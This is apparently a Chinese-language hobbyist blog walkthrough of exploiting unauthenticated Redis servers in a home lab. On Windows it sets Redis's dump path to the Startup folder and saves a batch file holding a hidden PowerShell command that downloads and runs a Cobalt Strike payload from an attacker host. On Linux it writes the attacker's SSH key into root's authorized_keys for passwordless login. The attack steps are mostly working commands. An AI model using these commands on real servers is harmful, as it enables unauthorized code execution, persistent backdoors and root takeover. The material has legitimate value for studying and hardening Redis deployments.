我又回来了,之前一段时间忙于升学,以及离职这些事,所以停更了,现在好了^ ^ 一、漏洞简介 redis是一个开源的数据库。并且目前在很多方面都会使用到redis,但是redis因为配置不当,可以产生未授权访问漏洞,redis未授权访问漏洞利用方式很多,可以写入webshell,或者拿主机权限(上线cs)等等,以下我们降价windows版本以及linux版本redis常用的利用方式 二、利用方式 windows版: 上线cs拿主机权限 linux版本: 给root账户写入SSH公钥文件,直接通过SSH免密码登录到主机 三、漏洞利用 windows版本环境:
这次利用cs上线的原理呢,是在服务器中设置一个钓鱼命令,然后我们的本机,也就是客户端连接目标机器的redis服务中,使用命令在运行这条钓鱼命令从而达到上线目标机器权限的效果(环境搭建的话,在官网下载好windows版本的redis服务解压就可以直接使用了,没有多余的设置) windows 7 : 命令:redis-server.exe 如图: 这样就成功开启了,然后,我们使用kali攻击机来开启cs kali攻击机: ./teamserver 本机IP 密码 本机: 连接上cs之后,设置监听器 然后,连接上目标机器的redis服务 redis-cli.exe -h 192.168.67.132 我们需要将路径设置在目标机器的启动项文件夹内,然后,目标机器重启之后就可以拿到权限 启动项文件夹可以搜索到,我这里是windows7,启动项文件夹为 C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 所以输入命令: config set dir “C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (注意,windows的斜杠需要双写) config set dbfilename 3.bat 这个时候我们就可以钓鱼了,cs设置钓鱼命令 这样就行了,然后我们在返回redis命令行输入 set x “\r\n\r\npowershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.237.129:80/a’))”\r\n\r\n”
save 这时,我们已经将文件写入启动项文件夹,这是目标机器重启之后就可以获取到权限 将目标机器重启之后,目标成功上线 linux版本环境: 利用方式:写入攻击机的公钥文件,然后在攻击机对目标机器进行免密登录 环境搭建(给想要本地复现的小伙伴,不一定全部包括,也希望对小伙伴们有帮助): wget http://download.redis.io/releases/redis-4.0.11.tar.gz
tar -zxf redis-4.0.11.tar.gz
cd ./redis-4.0.11.tar.gz
make ##编译
如下图 然后进入redis.conf 修改一下配置 将# bind 127.0.0.1 注释掉 以及将protected-mode yes 改为 no 进入src目录启动 cd ./src ./redis-server 我们使用攻击机连接 redis-cli -h 192.168.67.128 但是中途我们出现了问题,比如这样 我们回到目标机器进入客户端输入 Config set protect-mode no 然后,我们回到攻击机打开root/.ssh文件夹里面 输入 ssh-keygen -t rsa
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt
cat 1.txt | redis-cli -h 192.168.67.128 -x set crack
然后连接目标redis服务输入 config set dir “/root/.ssh” config set dbfilename authorized_keys save 然后退出来,直接在攻击机的/root/.ssh文件夹中输入 ssh -i id_rsa root@192.168.67.128 就可以连接上去了
四、结尾 我只是一个对网络安全喜欢的小白,有很多很多不足的地方,如果有做的不好的,希望各位师傅指点(可以加微信:phononer)^ ^
|